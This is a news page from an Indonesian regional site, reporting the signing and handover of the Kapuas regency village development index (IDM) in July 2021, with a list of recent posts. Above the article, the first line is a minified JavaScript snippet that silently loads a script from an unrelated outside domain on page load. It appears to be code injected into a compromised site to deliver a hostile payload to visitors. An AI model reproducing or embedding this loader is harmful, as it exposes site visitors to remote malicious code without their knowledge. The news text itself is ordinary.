(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Dinas PMD Kapuas Serahkan Indeks Desa Membangun ke Sekda


KANALKALIMANTAN. COM, KUALA KAPUAS – Dinas Pemberdayaan Masyarakat dan Desa (PMD) Kabupaten Kapuas melakukan penandatanganan berita acara Indeks Desa Membangun (IDM) bersama stakeholder terkait, di aula kantor DPMD, Jumat (2/7/2021).

Kegiatan dihadiri Sekretaris Daerah (Sekda) Kapuas Drs Septedy MSi, Kepala Bappeda Ahmad Muhammad Saribi, Kadiskominfo Dr H Junaidi SE SKM MAP MKes, serta tenaga ahli Program Pembangunan dan Pemberdayaan Masyarakat Desa (P3D).

Penandatanganan dilakukan Kepala Dinas PMD, Kepala Bappeda dan tenaga ahli P3MD Kabupaten Kapuas atau Koordinator Pendamping Kabupaten dari hasil IDM.

Usai penandatangan naskah berita acara Indeks Desa Membangun (IDM) diserahterimakan dari Kepala Dinas PMD kepada Sekda Kapuas.

 

 

Baca juga: Gangguan Jiwa Meningkat Saat Pandemi, Psikiater RS Ratu Zalecha: Pasien Bisa 46 Orang Sehari!

“Harapan kami dengan penandatangan dan penyerahan dokumen IDM ini, bersama-sama kita melihat data yang ada, bagaimana kedepan kita bisa meningkatkan status desa-desa di Kabupaten Kapuas ini,” kata Sekda Kapuas.

Sementara itu, Kepala Dinas PMD Kapuas, Yanmarto mengatakan, penandatanganan bersama itu dilakukan sesuai amanat Undang-Undang nomor 6 tahun 2014 tentang desa, serta
Peraturan Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi Nomor 2 tahun 2018 tentang indeks desa membangun, dengan tujuan memaparkan capaian indikator kinerja utama Dinas PMD Kapuas yaitu, IDM, TPD dan IKM.

“Mengukur dan mengklasifikasikan desa dalam rangka menentukan intervensi baik anggaran maupun kebijakan pembangunan desa, dimana IDM merupakan indikator yang bersifat nasional dalam menentukan tingkat kemajuan desa,” ujarnya.

Adapun status desa tersebut dibagi menjadi 5 klasifikasi yakni, desa mandiri, desa maju, desa berkembang, desa tertinggal, serta desa sangat tertinggal. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Perda Tentang Perusda, DPRD Batara Kunker ke Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Utara (Batara), Kalimantan Tengah, Senin… Read More

1 jam ago

Tiga Pelaku Judi Kartu di Loktabat Utara Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Tiga pelaku judi di Kota Banjarbaru, Kalimantan Selatan (Kalsel) dibekuk anggota Opsnal… Read More

2 jam ago

Bedakan Kosong di Basirih Dilalap Api

KANALKALIMANTAN.COM, BANJARMASIN – Api berkobar di kawasan permukiman warga di Kota Banjarmasin, Provinsi Kalimantan Selatan… Read More

3 jam ago

Sekda HSU Sambut Tim Wasev TMMD ke-120

KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More

5 jam ago

Seleksi Wawancara Panwascam Empat Kecamatan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More

5 jam ago

Satgas TMMD-Warga Desa Sungai Karias Keroyokan Hingga Malam

KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More

5 jam ago

This website uses cookies.